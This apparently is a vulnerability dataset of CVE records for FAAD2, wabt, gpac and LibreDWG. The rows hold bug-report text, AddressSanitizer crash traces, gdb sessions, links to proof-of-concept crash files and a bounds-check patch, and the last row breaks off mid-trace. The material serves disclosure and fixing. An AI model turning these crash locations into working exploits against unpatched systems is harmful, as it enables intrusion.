#6 0x7f2a44f32354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7f2a44f332da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7f2a44eed9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7f2a44eed566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7f2a44b2582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_hfadj.c:1536 hf_assembly
==7089==ABORTING
==4990==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffffffeccb0 at pc 0x7ffff71973cd bp 0
x7ffffffec8c0 sp 0x7ffffffec8b8
WRITE of size 4 at 0x7ffffffeccb0 thread T0
#0 0x7ffff71973cc in calculate_gain /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:1311
#1 0x7ffff7194930 in hf_adjustment /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:83
#2 0x7ffff71b3b28 in sbr_process_channel /home/hle/Development/C/faad2/faad2/libfaad/sbr_dec.c:363
#3 0x7ffff71b5c60 in sbrDecodeSingleFramePS /home/hle/Development/C/faad2/faad2/libfaad/sbr_dec.c:637
#4 0x7ffff715bb72 in reconstruct_single_channel /home/hle/Development/C/faad2/faad2/libfaad/specrec.c:1
071
#5 0x7ffff716409e in single_lfe_channel_element /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:63
1
#6 0x7ffff71623f3 in decode_sce_lfe /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:351
#7 0x7ffff71633e2 in raw_data_block /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:441
#8 0x7ffff711c4f5 in aac_frame_decode /home/hle/Development/C/faad2/faad2/libfaad/decoder.c:990
#9 0x7ffff711bfbb in NeAACDecDecode /home/hle/Development/C/faad2/faad2/libfaad/decoder.c:821
#10 0x55555556e07f in decodeAACfile /home/hle/Development/C/faad2/faad2/frontend/main.c:679
#11 0x55555557141a in faad_main /home/hle/Development/C/faad2/faad2/frontend/main.c:1323
#12 0x555555571640 in main /home/hle/Development/C/faad2/faad2/frontend/main.c:1366
#13 0x7ffff6f6009a in __libc_start_main ../csu/libc-start.c:308
#14 0x55555555f409 in _start (/home/hle/Development/C/faad2/faad2/frontend/.libs/faad+0xb409)
Address 0x7ffffffeccb0 is located in stack of thread T0 at offset 0 in frame
#0 0x7ffff71942e1 in hf_adjustment /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:1
311 in calculate_gain
[...]
==4990==ABORTING | === https://github.com/knik0/faad2/issues/30 ===
Title: Invalid memory address dereference in hf_assembly (in libfaad/sbr_hfadj.c:1536)
---
Body:
Hi, i found a issue in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function hf_assembly .the details are below(ASAN):
```
./faad faad_res/009-invalid-def-sbr_hfadj_1536 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/009-invalid-def-sbr_hfadj_1536 file info:
ADTS, 0.299 sec, 42 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
ASAN:SIGSEGVfaad_res/009-invalid-def-sbr_hfadj_1536.
=================================================================
==7089==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000030da (pc 0x7f2a44f66a79 bp 0x7ffc06965b70 sp 0x7ffc06965ab0 T0)
#0 0x7f2a44f66a78 in hf_assembly /root/faad2_asan/libfaad/sbr_hfadj.c:1536
#1 0x7f2a44f633b6 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:90
#2 0x7f2a44f81725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7f2a44f837fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7f2a44f2bb54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7f2a44f33e28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#6 0x7f2a44f32354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7f2a44f332da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7f2a44eed9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7f2a44eed566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7f2a44b2582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_hfadj.c:1536 hf_assembly
==7089==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/009-invalid-def-sbr_hfadj_1536
---
Comment #1 by hlef:
Unreproducible on the current master.
Fixed by https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3.
This can be confirmed by doing some quick debugging:
Before https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3, on my system:
```
$ ASAN_OPTIONS=abort_on_error=1 libtool --mode=execute
gdb --args ./frontend/faad ../009-invalid-def-sbr_hfadj_1536 -o /tmp/out.wav
GNU gdb (Debian 8.2.1-2) 8.2.1
[...]
Reading symbols from /home/hle/Development/C/faad2/faad2/frontend/.libs/faad...done.
(gdb) r
Starting program: /home/hle/Development/C/faad2/faad2/frontend/.libs/faad ../009-invalid-def-sbr_hfadj_1536
-o /tmp/out.wav
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Aug 10 2019
[...]
**************************************************************************
../009-invalid-def-sbr_hfadj_1536 file info:
ADTS, 0.299 sec, 42 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
=================================================================
==4990==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffffffeccb0 at pc 0x7ffff71973cd bp 0
x7ffffffec8c0 sp 0x7ffffffec8b8
WRITE of size 4 at 0x7ffffffeccb0 thread T0
#0 0x7ffff71973cc in calculate_gain /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:1311
#1 0x7ffff7194930 in hf_adjustment /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:83
#2 0x7ffff71b3b28 in sbr_process_channel /home/hle/Development/C/faad2/faad2/libfaad/sbr_dec.c:363
#3 0x7ffff71b5c60 in sbrDecodeSingleFramePS /home/hle/Development/C/faad2/faad2/libfaad/sbr_dec.c:637
#4 0x7ffff715bb72 in reconstruct_single_channel /home/hle/Development/C/faad2/faad2/libfaad/specrec.c:1
071
#5 0x7ffff716409e in single_lfe_channel_element /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:63
1
#6 0x7ffff71623f3 in decode_sce_lfe /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:351
#7 0x7ffff71633e2 in raw_data_block /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:441
#8 0x7ffff711c4f5 in aac_frame_decode /home/hle/Development/C/faad2/faad2/libfaad/decoder.c:990
#9 0x7ffff711bfbb in NeAACDecDecode /home/hle/Development/C/faad2/faad2/libfaad/decoder.c:821
#10 0x55555556e07f in decodeAACfile /home/hle/Development/C/faad2/faad2/frontend/main.c:679
#11 0x55555557141a in faad_main /home/hle/Development/C/faad2/faad2/frontend/main.c:1323
#12 0x555555571640 in main /home/hle/Development/C/faad2/faad2/frontend/main.c:1366
#13 0x7ffff6f6009a in __libc_start_main ../csu/libc-start.c:308
#14 0x55555555f409 in _start (/home/hle/Development/C/faad2/faad2/frontend/.libs/faad+0xb409)
Address 0x7ffffffeccb0 is located in stack of thread T0 at offset 0 in frame
#0 0x7ffff71942e1 in hf_adjustment /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:1
311 in calculate_gain
[...]
==4990==ABORTING
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff6f5e535 in __GI_abort () at abort.c:79
#2 0x00007ffff72eae6b in ?? () from /lib/x86_64-linux-gnu/libasan.so.5
#3 0x00007ffff72f2ed8 in ?? () from /lib/x86_64-linux-gnu/libasan.so.5
#4 0x00007ffff72d797d in ?? () from /lib/x86_64-linux-gnu/libasan.so.5
#5 0x00007ffff72d854b in __asan_report_store4 () from /lib/x86_64-linux-gnu/libasan.so.5
#6 0x00007ffff71973cd in calculate_gain (sbr=0x62f000000400, adj=0x7ffffffeccd0, ch=0 '\000')
at sbr_hfadj.c:1311
#7 0x00007ffff7194931 in hf_adjustment (sbr=0x62f000000400, Xsbr=0x62f000003508, ch=0 '\000')
at sbr_hfadj.c:83
#8 0x00007ffff71b3b29 in sbr_process_channel (sbr=0x62f000000400, channel_buf=0x625000000100,
X=0x7ffffffed940, ch=0 '\000', dont_process=0 '\000', downSampledSBR=0 '\000') at sbr_dec.c:363
#9 0x00007ffff71b5c61 in sbrDecodeSingleFramePS (sbr=0x62f000000400, left_channel=0x625000000100,
right_channel=0x625000002900, just_seeked=0 '\000', downSampledSBR=0 '\000') at sbr_dec.c:637
#10 0x00007ffff715bb73 in reconstruct_single_channel (hDecoder=0x620000000080, ics=0x7fffffff8ae6,
sce=0x7fffffff8ae0, spec_data=0x7fffffff82c0) at specrec.c:1071
#11 0x00007ffff716409f in single_lfe_channel_element (hDecoder=0x620000000080, ld=0x7fffffffdeb0,
channel=0 '\000', tag=0x7fffffffdd40 "") at syntax.c:631
#12 0x00007ffff71623f4 in decode_sce_lfe (hDecoder=0x620000000080, hInfo=0x7fffffffe1e0,
ld=0x7fffffffdeb0, id_syn_ele=0 '\000') at syntax.c:351
#13 0x00007ffff71633e3 in raw_data_block (hDecoder=0x620000000080, hInfo=0x7fffffffe1e0,
ld=0x7fffffffdeb0, pce=0x620000000bd1, drc=0x610000000040) at syntax.c:441
#14 0x00007ffff711c4f6 in aac_frame_decode (hDecoder=0x620000000080, hInfo=0x7fffffffe1e0,
buffer=0x621000002900 "\377\361X@\033\337\374\001X4,\264u\034\tHȀ\260\220\302%N\001\342\241\023b\340D\2
41\002\201k\356\a", buffer_size=4608, sample_buffer2=0x0, sample_buffer_size=0) at decoder.c:990
#15 0x00007ffff711bfbc in NeAACDecDecode (hpDecoder=0x620000000080, hInfo=0x7fffffffe1e0,
buffer=0x621000002900 "\377\361X@\033\337\374\001X4,\264u\034\tHȀ\260\220\302%N\001\342\241\023b\340D\2
41\002\201k\356\a", buffer_size=4608) at decoder.c:821
#16 0x000055555556e080 in decodeAACfile (aacfile=0x604000000010 "../009-invalid-def-sbr_hfadj_1536",
sndfile=0x602000000010 "/tmp/out.wav", adts_fn=0x0, to_stdout=0, def_srate=0, object_type=2,
outputFormat=1, fileType=1, downMatrix=0, infoOnly=0, adts_out=0, old_format=0,
song_length=0x7fffffffe540) at main.c:679
#17 0x000055555557141b in faad_main (argc=4, argv=0x7fffffffe8b8) at main.c:1323
#18 0x0000555555571641 in main (argc=4, argv=0x7fffffffe8b8) at main.c:1366
(gdb) up 6
#6 0x00007ffff71973cd in calculate_gain (sbr=0x62f000000400, adj=0x7ffffffeccd0, ch=0 '\000')
at sbr_hfadj.c:1311
1311 Q_M_lim[m] = Q_M;
(gdb) l
1306
1307 /* limit the additional noise energy level */
1308 /* and apply the limiter */
1309 if (G_max > G)
1310 {
1311 Q_M_lim[m] = Q_M;
1312 G_lim[m] = G;
1313 } else {
1314 Q_M_lim[m] = Q_M * G_max / G;
1315 G_lim[m] = G_max;
(gdb) p m
$1 = 216 '\330'
```
@fabiangreffrath it would be great if you could double check, but I think this can be safely closed.
---
Comment #2 by hlef:
FTR, this was assigned CVE-2018-20361.
---
Comment #3 by fabiangreffrath:
Closing this issue. | https://nvd.nist.gov/vuln/detail/CVE-2018-20361 | ||||
wabt.cve-2022-43282 | wasm-interp v1.0.29 was discovered to contain an out-of-bounds read via the component OnReturnCallIndirectExpr->GetReturnCallDropKeepCount. | https://github.com/WebAssembly/wabt/issues/1983 | https://github.com/WebAssembly/wabt/issues/1983 | CWE-125 | WebAssembly/wabt | https://github.com/WebAssembly/wabt/issues/1983 | /wabt/out/clang/Debug/asan/wasm-interp --enable-all ./poc-interp-3.wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1491197==ERROR: AddressSanitizer: SEGV on unknown address 0x60600008bb58 (pc 0x000000509b3e bp 0x7ffe9a810b70 sp 0x7ffe9a810b40 T0)
==1491197==The signal is caused by a READ memory access.
#0 0x509b3e in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40
#1 0x576a36 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:445:58
#2 0x56955c in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallIndirectExpr(unsigned int, unsigned int) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1176:3
#3 0x6ead11 in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(bool, unsigned long, wabt::Opcode*) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:937:9
#4 0x6ff84e in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:667:3
#5 0x6c2f98 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2766:7
#6 0x6b0861 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2920:26
#7 0x6ada2f in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2981:3
#8 0x6aca08 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2998:17
#9 0x54f132 in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char>>, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::ModuleDesc*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1603:10
#10 0x4f6aed in ReadModule(char const*, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::RefPtr<wabt::interp::Module>*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:207:3
#11 0x4f100a in ReadAndRunModule(char const*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:234:19
#12 0x4f0427 in ProgramMain(int, char**) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:329:25
#13 0x4f14a1 in main /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:335:10
#14 0x7fa32b622082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#15 0x43e39d in _start (/wabt/out/clang/Debug/asan/wasm-interp+0x43e39d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const
==1491197==ABORTING | ASan (inferred) | === https://github.com/WebAssembly/wabt/issues/1983 ===
Title: Out-of-bound read in OnReturnCallIndirectExpr->GetReturnCallDropKeepCount
---
Body:
### Environment
```
OS : Linux ubuntu 5.15.0-46-generic #49~20.04.1-Ubuntu SMP Thu Aug 4 19:15:44 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 3054d61f703d609995798f872fc86b462617c294
Version : 1.0.29
Build : make clang-debug-asan
```
### Proof of concept
poc-interp-3.wasm
[poc-interp-3.wasm.zip](https://github.com/WebAssembly/wabt/files/9489918/poc-interp-3.wasm.zip)
### Stack dump
```
/wabt/out/clang/Debug/asan/wasm-interp --enable-all ./poc-interp-3.wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1491197==ERROR: AddressSanitizer: SEGV on unknown address 0x60600008bb58 (pc 0x000000509b3e bp 0x7ffe9a810b70 sp 0x7ffe9a810b40 T0)
==1491197==The signal is caused by a READ memory access.
#0 0x509b3e in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40
#1 0x576a36 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:445:58
#2 0x56955c in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallIndirectExpr(unsigned int, unsigned int) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1176:3
#3 0x6ead11 in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(bool, unsigned long, wabt::Opcode*) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:937:9
#4 0x6ff84e in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:667:3
#5 0x6c2f98 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2766:7
#6 0x6b0861 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2920:26
#7 0x6ada2f in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2981:3
#8 0x6aca08 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2998:17
#9 0x54f132 in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char>>, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::ModuleDesc*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1603:10
#10 0x4f6aed in ReadModule(char const*, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::RefPtr<wabt::interp::Module>*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:207:3
#11 0x4f100a in ReadAndRunModule(char const*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:234:19
#12 0x4f0427 in ProgramMain(int, char**) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:329:25
#13 0x4f14a1 in main /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:335:10
#14 0x7fa32b622082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#15 0x43e39d in _start (/wabt/out/clang/Debug/asan/wasm-interp+0x43e39d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const
==1491197==ABORTING
```
---
Comment #1 by keithw:
Thank you for finding and reporting this! Same comment as https://github.com/WebAssembly/wabt/issues/1981#issuecomment-1250125971 (appears to have been fixed by #1931). | https://nvd.nist.gov/vuln/detail/CVE-2022-43282 | ||
faad2.cve-2018-20357 | A NULL pointer dereference was discovered in sbr_process_channel of libfaad/sbr_dec.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash. | https://github.com/knik0/faad2/issues/28 | CWE-476 | knik0/faad2 | https://github.com/knik0/faad2/issues/28, https://seclists.org/bugtraq/2019/Sep/28 | ASAN:SIGSEGVfaad_res/014-null-point-sbr_dec_413.
=================================================================
==7082==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1bfe18af07 bp 0x7ffcee38c300 sp 0x7ffcee38c2c0 T0)
#0 0x7f1bfe18af06 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:413
#1 0x7f1bfe18c7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#2 0x7f1bfe134b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#3 0x7f1bfe13ce28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#4 0x7f1bfe13b354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#5 0x7f1bfe13c2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#6 0x7f1bfe0f69c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#7 0x7f1bfe0f6566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#8 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#9 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#10 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#11 0x7f1bfdd2e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_dec.c:413 sbr_process_channel
==7082==ABORTING | === https://github.com/knik0/faad2/issues/28 ===
Title: Null pointer dereference vulnerability in sbr_process_channel(libfaad/sbr_dec.c:413)
---
Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function sbr_process_channel.the details are below(ASAN):
```
./faad faad_res/014-null-point-sbr_dec_413 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/014-null-point-sbr_dec_413 file info:
ADTS, 0.469 sec, 41 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
ASAN:SIGSEGVfaad_res/014-null-point-sbr_dec_413.
=================================================================
==7082==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1bfe18af07 bp 0x7ffcee38c300 sp 0x7ffcee38c2c0 T0)
#0 0x7f1bfe18af06 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:413
#1 0x7f1bfe18c7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#2 0x7f1bfe134b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#3 0x7f1bfe13ce28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#4 0x7f1bfe13b354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#5 0x7f1bfe13c2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#6 0x7f1bfe0f69c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#7 0x7f1bfe0f6566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#8 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#9 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#10 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#11 0x7f1bfdd2e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_dec.c:413 sbr_process_channel
==7082==ABORTING
```
POC FILE: https://github.com/fantasy7082/image_test/blob/master/014-null-point-sbr_dec_413
---
Comment #1 by hlef:
This issue was assigned CVE-2018-20357.
Appears to have been fixed by 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3, needs to be double checked.
---
Comment #2 by fabiangreffrath:
@hlef Please feel free to close any issues that you consider already fixed in the current source code.
---
Comment #3 by hlef:
> @hlef Please feel free to close any issues that you consider already fixed in the current source code.
I don't have permissions to close bug reports here :)
---
Comment #4 by fabiangreffrath:
> I don't have permissions to close bug reports here :)
Oops, I'll close whatever you mark as fixed then. :wink:
---
Comment #5 by fabiangreffrath:
Hm, so can this get closed?
---
Comment #6 by fabiangreffrath:
@hlef Hm?
---
Comment #7 by hlef:
I can confirm that this is the same underlying issue as #21, different path. Fixed in https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3
This can be closed!
---
Comment #8 by fabiangreffrath:
And it's closed. | https://nvd.nist.gov/vuln/detail/CVE-2018-20357 | ||||
gpac.cve-2023-0866 | Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.3.0-DEV. | https://huntr.dev/bounties/7d3c5792-d20b-4cb6-9c6d-bb14f3430d7f | https://github.com/gpac/gpac/commit/b964fe4226f1424cf676d5822ef898b6b01f5937, https://huntr.dev/bounties/7d3c5792-d20b-4cb6-9c6d-bb14f3430d7f | CWE-122 | gpac/gpac | b964fe4226f1424cf676d5822ef898b6b01f5937~1 | diff --git a/src/filters/reframe_adts.c b/src/filters/reframe_adts.c
index 80c98e522e..818273e58e 100644
--- a/src/filters/reframe_adts.c
+++ b/src/filters/reframe_adts.c
@@ -300,7 +300,7 @@ static void adts_dmx_check_dur(GF_Filter *filter, GF_ADTSDmxCtx *ctx)
}
}
}
-
+
p = gf_filter_pid_get_property(ctx->ipid, GF_PROP_PID_FILE_CACHED);
if (p && p->value.boolean) ctx->file_loaded = GF_TRUE;
}
@@ -824,6 +824,12 @@ GF_Err adts_dmx_process(GF_Filter *filter)
}
if (!ctx->in_seek) {
+
+ if (sync_pos + offset + size > remain) {
+ GF_LOG(GF_LOG_WARNING, GF_LOG_MEDIA, ("[ADTSDmx] truncated frame\n"));
+ break;
+ }
+
dst_pck = gf_filter_pck_new_alloc(ctx->opid, size, &output);
if (!dst_pck) return GF_OUT_OF_MEM;
if (ctx->src_pck) gf_filter_pck_merge_properties(ctx->src_pck, dst_pck);
| https://nvd.nist.gov/vuln/detail/CVE-2023-0866 | ||||
libredwg.cve-2022-45332 | LibreDWG v0.12.4.4643 was discovered to contain a heap buffer overflow via the function decode_preR13_section_hdr at decode_r11.c. | https://github.com/LibreDWG/libredwg/issues/524 | CWE-787 | LibreDWG/libredwg | https://github.com/LibreDWG/libredwg/issues/524 | ==4080011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x618000000428 at pc 0x000000480860 bp 0x7ffddb1de850 sp 0x7ffddb1de008
WRITE of size 63 at 0x618000000428 thread T0
#0 0x48085f in strncpy /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:483:5
#1 0x1123350 in decode_preR13_section_hdr /home/SVF-tools/example/libredwg-2/src/decode_r11.c:139:3
#2 0x111d7e1 in decode_preR13 /home/SVF-tools/example/libredwg-2/src/decode_r11.c:762:7
